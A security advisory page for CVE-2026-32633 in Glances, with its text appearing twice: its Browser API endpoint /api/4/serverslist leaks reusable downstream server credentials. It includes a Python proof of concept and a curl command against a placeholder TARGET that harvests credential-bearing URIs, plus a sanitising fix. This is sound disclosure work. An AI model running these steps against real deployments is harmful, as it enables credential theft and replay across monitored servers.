Monitor vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
9.1
Glances Browser API Leaks Downstream Server Credentials
GHSA-r297-p3v4-wp8m
CVE-2026-32633
Summary
An unauthenticated Glances Browser API can expose server credentials to unauthorized users. This occurs when the Glances Browser/API instance is started without a password, allowing anyone with network access to retrieve sensitive credentials. To mitigate this, use the `--password` option when starting the Glances Browser/API instance.
What to do
- Update glances to version 4.5.2.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| – | glances | <= 4.5.2-dev01 | 4.5.2 |
Original title
Glances's Browser API Exposes Reusable Downstream Credentials via `/api/4/serverslist`
Original description
## Summary
In Central Browser mode, the `/api/4/serverslist` endpoint returns raw server objects from `GlancesServersList.get_servers_list()`. Those objects are mutated in-place during background polling and can contain a `uri` field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret.
If the front Glances Browser/API instance is started without `--password`, which is supported and common for internal network deployments, `/api/4/serverslist` is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance.
## Details
The Browser API route simply returns the raw servers list:
```python
# glances/outputs/glances_restful_api.py:799-805
def _api_servers_list(self):
self.__update_servers_list()
return GlancesJSONResponse(self.servers_list.get_servers_list() if self.servers_list else [])
```
The main API router is only protected when the front instance itself was started with `--password`. Otherwise there are no authentication dependencies at all:
```python
# glances/outputs/glances_restful_api.py:475-480
if self.args.password:
router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
router = APIRouter(prefix=self.url_prefix)
```
The Glances web server binds to `0.0.0.0` by default:
```python
# glances/main.py:425-427
parser.add_argument(
'--bind',
default='0.0.0.0',
dest='bind_address',
)
```
During Central Browser polling, server entries are modified in-place and gain a `uri` field:
```python
# glances/servers_list.py:141-148
def __update_stats(self, server):
server['uri'] = self.get_uri(server)
...
if server['protocol'].lower() == 'rpc':
self.__update_stats_rpc(server['uri'], server)
elif server['protocol'].lower() == 'rest' and not import_requests_error_tag:
self.__update_stats_rest(f"{server['uri']}/api/{__apiversion__}", server)
```
For protected servers, `get_uri()` loads the saved password from the `[passwords]` section (or the `default` password), hashes it, and embeds it directly in the URI:
```python
# glances/servers_list.py:119-130
def get_uri(self, server):
if server['password'] != "":
if server['status'] == 'PROTECTED':
clear_password = self.password.get_password(server['name'])
if clear_password is not None:
server['password'] = self.password.get_hash(clear_password)
uri = 'http://{}:{}@{}:{}'.format(
server['username'],
server['password'],
server['name'],
server['port'],
)
else:
uri = 'http://{}:{}'.format(server['name'], server['port'])
return uri
```
Password lookup falls back to a global default:
```python
# glances/password_list.py:55-58
try:
return self._password_dict[host]
except (KeyError, TypeError):
return self._password_dict['default']
```
The sample configuration explicitly supports browser-wide default password reuse:
```ini
# conf/glances.conf:656-663
[passwords]
# localhost=abc
# default=defaultpassword
```
The secret embedded in `uri` is not the cleartext password, but it is still a reusable Glances authentication credential. Client connections send that pbkdf2-derived hash over HTTP Basic authentication:
```python
# glances/password.py:72-74,94
# For Glances client, get the password (confirm=False, clear=True):
# 2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit
password = password_hash
```
```python
# glances/client.py:56-57
if args.password != "":
self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'
```
The Browser WebUI also consumes that raw `uri` directly and redirects the user to it:
```javascript
// glances/outputs/static/js/Browser.vue:83-103
fetch("api/4/serverslist", { method: "GET" })
...
window.location.href = server.uri;
```
So once `server.uri` contains credentials, those credentials are not just used internally; they are exposed to API consumers and frontend JavaScript.
## PoC
### Step 1: Verified local live proof that server objects contain credential-bearing URIs
The following command executes the real `glances/servers_list.py` update logic against a live local HTTP server that always returns `401`. This forces Glances to mark the downstream server as `PROTECTED` and then retry with the saved/default password. After the second refresh, the in-memory server list contains a `uri` field with embedded credentials.
```bash
cd D:\bugcrowd\glances\repo
@'
import importlib.util
import json
import sys
import threading
import types
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
from defusedxml import xmlrpc as defused_xmlrpc
pkg = types.ModuleType('glances')
pkg.__apiversion__ = '4'
sys.modules['glances'] = pkg
client_mod = types.ModuleType('glances.client')
class GlancesClientTransport(defused_xmlrpc.xmlrpc_client.Transport):
def set_timeout(self, timeout):
self.timeout = timeout
client_mod.GlancesClientTransport = GlancesClientTransport
sys.modules['glances.client'] = client_mod
globals_mod = types.ModuleType('glances.globals')
globals_mod.json_loads = json.loads
sys.modules['glances.globals'] = globals_mod
logger_mod = types.ModuleType('glances.logger')
logger_mod.logger = types.SimpleNamespace(
debug=lambda *a, **k: None,
warning=lambda *a, **k: None,
info=lambda *a, **k: None,
error=lambda *a, **k: None,
)
sys.modules['glances.logger'] = logger_mod
password_list_mod = types.ModuleType('glances.password_list')
class GlancesPasswordList: pass
password_list_mod.GlancesPasswordList = GlancesPasswordList
sys.modules['glances.password_list'] = password_list_mod
dynamic_mod = types.ModuleType('glances.servers_list_dynamic')
class GlancesAutoDiscoverServer: pass
dynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer
sys.modules['glances.servers_list_dynamic'] = dynamic_mod
static_mod = types.ModuleType('glances.servers_list_static')
class GlancesStaticServer: pass
static_mod.GlancesStaticServer = GlancesStaticServer
sys.modules['glances.servers_list_static'] = static_mod
spec = importlib.util.spec_from_file_location('tested_servers_list', Path('glances/servers_list.py'))
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
GlancesServersList = mod.GlancesServersList
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
_ = self.rfile.read(int(self.headers.get('Content-Length', '0')))
self.send_response(401)
self.end_headers()
def log_message(self, *args):
pass
httpd = HTTPServer(('127.0.0.1', 0), Handler)
port = httpd.server_address[1]
thread = threading.Thread(target=httpd.serve_forever, daemon=True)
thread.start()
class FakePassword:
def get_password(self, host=None):
return 'defaultpassword'
def get_hash(self, password):
return f'hash({password})'
sl = GlancesServersList.__new__(GlancesServersList)
sl.password = FakePassword()
sl._columns = [{'plugin': 'system', 'field': 'hr_name'}]
server = {
'key': f'target:{port}',
'name': '127.0.0.1',
'ip': '203.0.113.77',
'port': port,
'protocol': 'rpc',
'username': 'glances',
'password': '',
'status': 'UNKNOWN',
'type': 'STATIC',
}
sl.get_servers_list = lambda: [server]
sl._GlancesServersList__update_stats(server)
sl._GlancesServersList__update_stats(server)
httpd.shutdown()
thread.join(timeout=2)
print(json.dumps(sl.get_servers_list(), indent=2))
'@ | python -
```
Verified output:
```json
[
{
"key": "target:57390",
"name": "127.0.0.1",
"ip": "203.0.113.77",
"port": 57390,
"protocol": "rpc",
"username": "glances",
"password": null,
"status": "PROTECTED",
"type": "STATIC",
"uri": "http://glances:hash(defaultpassword)@127.0.0.1:57390",
"columns": [
"system_hr_name"
]
}
]
```
This is the same raw object shape that `/api/4/serverslist` returns.
### Step 2: Remote reproduction on a live Browser instance
1. Configure Glances Browser mode with a saved default password for downstream servers:
```ini
[passwords]
default=SuperSecretBrowserPassword
```
2. Start the Browser/API instance without front-end authentication:
```bash
glances --browser -w -C ./glances.conf
```
3. Ensure at least one protected downstream server is polled and marked `PROTECTED`.
4. From any machine that can reach the Glances Browser API, fetch the raw server list:
```bash
curl -s http://TARGET:61208/api/4/serverslist
```
5. Observe entries like:
```json
{
"name": "internal-glances.example",
"status": "PROTECTED",
"uri": "http://glances:<pbkdf2_hash>@internal-glances.example:61209"
}
```
## Impact
- **Unauthenticated credential disclosure:** When the front Browser API runs without `--password`, any reachable user can retrieve downstream Glances authentication secrets from `/api/4/serverslist`.
- **Credential replay:** The disclosed pbkdf2-derived hash is the effective Glances client secret and can be replayed against downstream Glances servers using the same password.
- **Fleet-wide blast radius:** A single Browser instance can hold passwords for many downstream servers via host-specific entries or `[passwords] default`, so one exposed API can disclose credentials for an entire monitored fleet.
- **Chains with the earlier CORS issue:** Even when the front instance uses `--password`, the permissive default CORS behavior can let a malicious website read `/api/4/serverslist` from an authenticated browser session and steal the same downstream credentials cross-origin.
## Recommended Fix
Do not expose credential-bearing fields in API responses. At minimum, strip `uri`, `password`, and any derived credential material from `/api/4/serverslist` responses and make the frontend derive navigation targets without embedded auth.
```python
# glances/outputs/glances_restful_api.py
def _sanitize_server(self, server):
safe = dict(server)
safe.pop('password', None)
safe.pop('uri', None)
return safe
def _api_servers_list(self):
self.__update_servers_list()
servers = self.servers_list.get_servers_list() if self.servers_list else []
return GlancesJSONResponse([self._sanitize_server(server) for server in servers])
```
And in the Browser WebUI, construct navigation URLs from non-secret fields (`ip`, `name`, `port`, `protocol`) instead of trusting a backend-supplied `server.uri`.
In Central Browser mode, the `/api/4/serverslist` endpoint returns raw server objects from `GlancesServersList.get_servers_list()`. Those objects are mutated in-place during background polling and can contain a `uri` field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret.
If the front Glances Browser/API instance is started without `--password`, which is supported and common for internal network deployments, `/api/4/serverslist` is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance.
## Details
The Browser API route simply returns the raw servers list:
```python
# glances/outputs/glances_restful_api.py:799-805
def _api_servers_list(self):
self.__update_servers_list()
return GlancesJSONResponse(self.servers_list.get_servers_list() if self.servers_list else [])
```
The main API router is only protected when the front instance itself was started with `--password`. Otherwise there are no authentication dependencies at all:
```python
# glances/outputs/glances_restful_api.py:475-480
if self.args.password:
router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
router = APIRouter(prefix=self.url_prefix)
```
The Glances web server binds to `0.0.0.0` by default:
```python
# glances/main.py:425-427
parser.add_argument(
'--bind',
default='0.0.0.0',
dest='bind_address',
)
```
During Central Browser polling, server entries are modified in-place and gain a `uri` field:
```python
# glances/servers_list.py:141-148
def __update_stats(self, server):
server['uri'] = self.get_uri(server)
...
if server['protocol'].lower() == 'rpc':
self.__update_stats_rpc(server['uri'], server)
elif server['protocol'].lower() == 'rest' and not import_requests_error_tag:
self.__update_stats_rest(f"{server['uri']}/api/{__apiversion__}", server)
```
For protected servers, `get_uri()` loads the saved password from the `[passwords]` section (or the `default` password), hashes it, and embeds it directly in the URI:
```python
# glances/servers_list.py:119-130
def get_uri(self, server):
if server['password'] != "":
if server['status'] == 'PROTECTED':
clear_password = self.password.get_password(server['name'])
if clear_password is not None:
server['password'] = self.password.get_hash(clear_password)
uri = 'http://{}:{}@{}:{}'.format(
server['username'],
server['password'],
server['name'],
server['port'],
)
else:
uri = 'http://{}:{}'.format(server['name'], server['port'])
return uri
```
Password lookup falls back to a global default:
```python
# glances/password_list.py:55-58
try:
return self._password_dict[host]
except (KeyError, TypeError):
return self._password_dict['default']
```
The sample configuration explicitly supports browser-wide default password reuse:
```ini
# conf/glances.conf:656-663
[passwords]
# localhost=abc
# default=defaultpassword
```
The secret embedded in `uri` is not the cleartext password, but it is still a reusable Glances authentication credential. Client connections send that pbkdf2-derived hash over HTTP Basic authentication:
```python
# glances/password.py:72-74,94
# For Glances client, get the password (confirm=False, clear=True):
# 2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit
password = password_hash
```
```python
# glances/client.py:56-57
if args.password != "":
self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'
```
The Browser WebUI also consumes that raw `uri` directly and redirects the user to it:
```javascript
// glances/outputs/static/js/Browser.vue:83-103
fetch("api/4/serverslist", { method: "GET" })
...
window.location.href = server.uri;
```
So once `server.uri` contains credentials, those credentials are not just used internally; they are exposed to API consumers and frontend JavaScript.
## PoC
### Step 1: Verified local live proof that server objects contain credential-bearing URIs
The following command executes the real `glances/servers_list.py` update logic against a live local HTTP server that always returns `401`. This forces Glances to mark the downstream server as `PROTECTED` and then retry with the saved/default password. After the second refresh, the in-memory server list contains a `uri` field with embedded credentials.
```bash
cd D:\bugcrowd\glances\repo
@'
import importlib.util
import json
import sys
import threading
import types
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
from defusedxml import xmlrpc as defused_xmlrpc
pkg = types.ModuleType('glances')
pkg.__apiversion__ = '4'
sys.modules['glances'] = pkg
client_mod = types.ModuleType('glances.client')
class GlancesClientTransport(defused_xmlrpc.xmlrpc_client.Transport):
def set_timeout(self, timeout):
self.timeout = timeout
client_mod.GlancesClientTransport = GlancesClientTransport
sys.modules['glances.client'] = client_mod
globals_mod = types.ModuleType('glances.globals')
globals_mod.json_loads = json.loads
sys.modules['glances.globals'] = globals_mod
logger_mod = types.ModuleType('glances.logger')
logger_mod.logger = types.SimpleNamespace(
debug=lambda *a, **k: None,
warning=lambda *a, **k: None,
info=lambda *a, **k: None,
error=lambda *a, **k: None,
)
sys.modules['glances.logger'] = logger_mod
password_list_mod = types.ModuleType('glances.password_list')
class GlancesPasswordList: pass
password_list_mod.GlancesPasswordList = GlancesPasswordList
sys.modules['glances.password_list'] = password_list_mod
dynamic_mod = types.ModuleType('glances.servers_list_dynamic')
class GlancesAutoDiscoverServer: pass
dynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer
sys.modules['glances.servers_list_dynamic'] = dynamic_mod
static_mod = types.ModuleType('glances.servers_list_static')
class GlancesStaticServer: pass
static_mod.GlancesStaticServer = GlancesStaticServer
sys.modules['glances.servers_list_static'] = static_mod
spec = importlib.util.spec_from_file_location('tested_servers_list', Path('glances/servers_list.py'))
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
GlancesServersList = mod.GlancesServersList
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
_ = self.rfile.read(int(self.headers.get('Content-Length', '0')))
self.send_response(401)
self.end_headers()
def log_message(self, *args):
pass
httpd = HTTPServer(('127.0.0.1', 0), Handler)
port = httpd.server_address[1]
thread = threading.Thread(target=httpd.serve_forever, daemon=True)
thread.start()
class FakePassword:
def get_password(self, host=None):
return 'defaultpassword'
def get_hash(self, password):
return f'hash({password})'
sl = GlancesServersList.__new__(GlancesServersList)
sl.password = FakePassword()
sl._columns = [{'plugin': 'system', 'field': 'hr_name'}]
server = {
'key': f'target:{port}',
'name': '127.0.0.1',
'ip': '203.0.113.77',
'port': port,
'protocol': 'rpc',
'username': 'glances',
'password': '',
'status': 'UNKNOWN',
'type': 'STATIC',
}
sl.get_servers_list = lambda: [server]
sl._GlancesServersList__update_stats(server)
sl._GlancesServersList__update_stats(server)
httpd.shutdown()
thread.join(timeout=2)
print(json.dumps(sl.get_servers_list(), indent=2))
'@ | python -
```
Verified output:
```json
[
{
"key": "target:57390",
"name": "127.0.0.1",
"ip": "203.0.113.77",
"port": 57390,
"protocol": "rpc",
"username": "glances",
"password": null,
"status": "PROTECTED",
"type": "STATIC",
"uri": "http://glances:hash(defaultpassword)@127.0.0.1:57390",
"columns": [
"system_hr_name"
]
}
]
```
This is the same raw object shape that `/api/4/serverslist` returns.
### Step 2: Remote reproduction on a live Browser instance
1. Configure Glances Browser mode with a saved default password for downstream servers:
```ini
[passwords]
default=SuperSecretBrowserPassword
```
2. Start the Browser/API instance without front-end authentication:
```bash
glances --browser -w -C ./glances.conf
```
3. Ensure at least one protected downstream server is polled and marked `PROTECTED`.
4. From any machine that can reach the Glances Browser API, fetch the raw server list:
```bash
curl -s http://TARGET:61208/api/4/serverslist
```
5. Observe entries like:
```json
{
"name": "internal-glances.example",
"status": "PROTECTED",
"uri": "http://glances:<pbkdf2_hash>@internal-glances.example:61209"
}
```
## Impact
- **Unauthenticated credential disclosure:** When the front Browser API runs without `--password`, any reachable user can retrieve downstream Glances authentication secrets from `/api/4/serverslist`.
- **Credential replay:** The disclosed pbkdf2-derived hash is the effective Glances client secret and can be replayed against downstream Glances servers using the same password.
- **Fleet-wide blast radius:** A single Browser instance can hold passwords for many downstream servers via host-specific entries or `[passwords] default`, so one exposed API can disclose credentials for an entire monitored fleet.
- **Chains with the earlier CORS issue:** Even when the front instance uses `--password`, the permissive default CORS behavior can let a malicious website read `/api/4/serverslist` from an authenticated browser session and steal the same downstream credentials cross-origin.
## Recommended Fix
Do not expose credential-bearing fields in API responses. At minimum, strip `uri`, `password`, and any derived credential material from `/api/4/serverslist` responses and make the frontend derive navigation targets without embedded auth.
```python
# glances/outputs/glances_restful_api.py
def _sanitize_server(self, server):
safe = dict(server)
safe.pop('password', None)
safe.pop('uri', None)
return safe
def _api_servers_list(self):
self.__update_servers_list()
servers = self.servers_list.get_servers_list() if self.servers_list else []
return GlancesJSONResponse([self._sanitize_server(server) for server in servers])
```
And in the Browser WebUI, construct navigation URLs from non-secret fields (`ip`, `name`, `port`, `protocol`) instead of trusting a backend-supplied `server.uri`.
ghsa CVSS3.1
9.1
Vulnerability type
CWE-200
Information Exposure
CWE-522
Insufficiently Protected Credentials
Published: 16 Mar 2026 · Updated: 16 Mar 2026 · First seen: 16 Mar 2026